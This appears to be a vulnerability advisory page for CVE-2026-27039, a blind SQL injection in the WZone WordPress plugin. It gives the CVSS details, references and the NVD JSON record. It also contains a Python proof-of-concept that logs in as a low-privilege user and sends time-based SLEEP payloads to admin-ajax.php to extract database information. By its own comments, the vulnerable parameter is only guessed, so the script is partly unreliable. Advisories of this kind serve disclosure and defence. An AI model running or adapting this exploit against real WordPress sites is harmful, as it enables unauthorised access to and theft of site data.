CVE-2026-27039

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AA-Team WZone woozone allows Blind SQL Injection.This issue affects WZone: from n/a through <= 14.0.31.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

AA-Team WZone <= 14.0.31

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

# Target URL (Example)
target_url = "https://example.com/wp-admin/admin-ajax.php"

# Attacker credentials (Low privilege required)
username = "subscriber"
password = "password"

# Login to get session
def login():
    session = requests.Session()
    login_data = {
        "log": username,
        "pwd": password,
        "redirect_to": "",
        "wp-submit": "Log In",
        "testcookie": "1"
    }
    # Adjust login URL based on target configuration
    session.post("https://example.com/wp-login.php", data=login_data)
    return session

# Exploit function demonstrating Time-Based Blind SQLi
def exploit_sqli(session, payload):
    # Vulnerable parameter might be 'product_id' or similar based on plugin logic
    params = {
        "action": "woozone_ajax_details",
        "product_id": f"1 AND IF({payload}, SLEEP(5), 0)" # SQL Injection Payload
    }
    start_time = time.time()
    response = session.get(target_url, params=params)
    end_time = time.time()
    
    if end_time - start_time > 5:
        return True
    return False

if __name__ == "__main__":
    sess = login()
    # Check if database user starts with 'r'
    check_payload = "SUBSTRING(USER(), 1, 1) = CHAR(114)"
    if exploit_sqli(sess, check_payload):
        print("[+] Vulnerability confirmed! Condition is True.")
    else:
        print("[-] Condition False or request failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27039
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27039
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27039/
[4] VulDB https://vuldb.com/cve/CVE-2026-27039
[5] https://patchstack.com/database/Wordpress/Plugin/woozone/vulnerability/wordpress-wzone-plugin-14-0-31-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27039", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:53.310", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AA-Team WZone woozone allows Blind SQL Injection.This issue affects WZone: from n/a through <= 14.0.31."}, {"lang": "es", "value": "Neutralización Incorrecta de Elementos Especiales utilizados en un Comando SQL ('Inyección SQL') vulnerabilidad en AA-Team WZone woozone permite Inyección SQL Ciega. Este problema afecta a WZone: desde n/d hasta <= 14.0.31."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woozone/vulnerability/wordpress-wzone-plugin-14-0-31-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}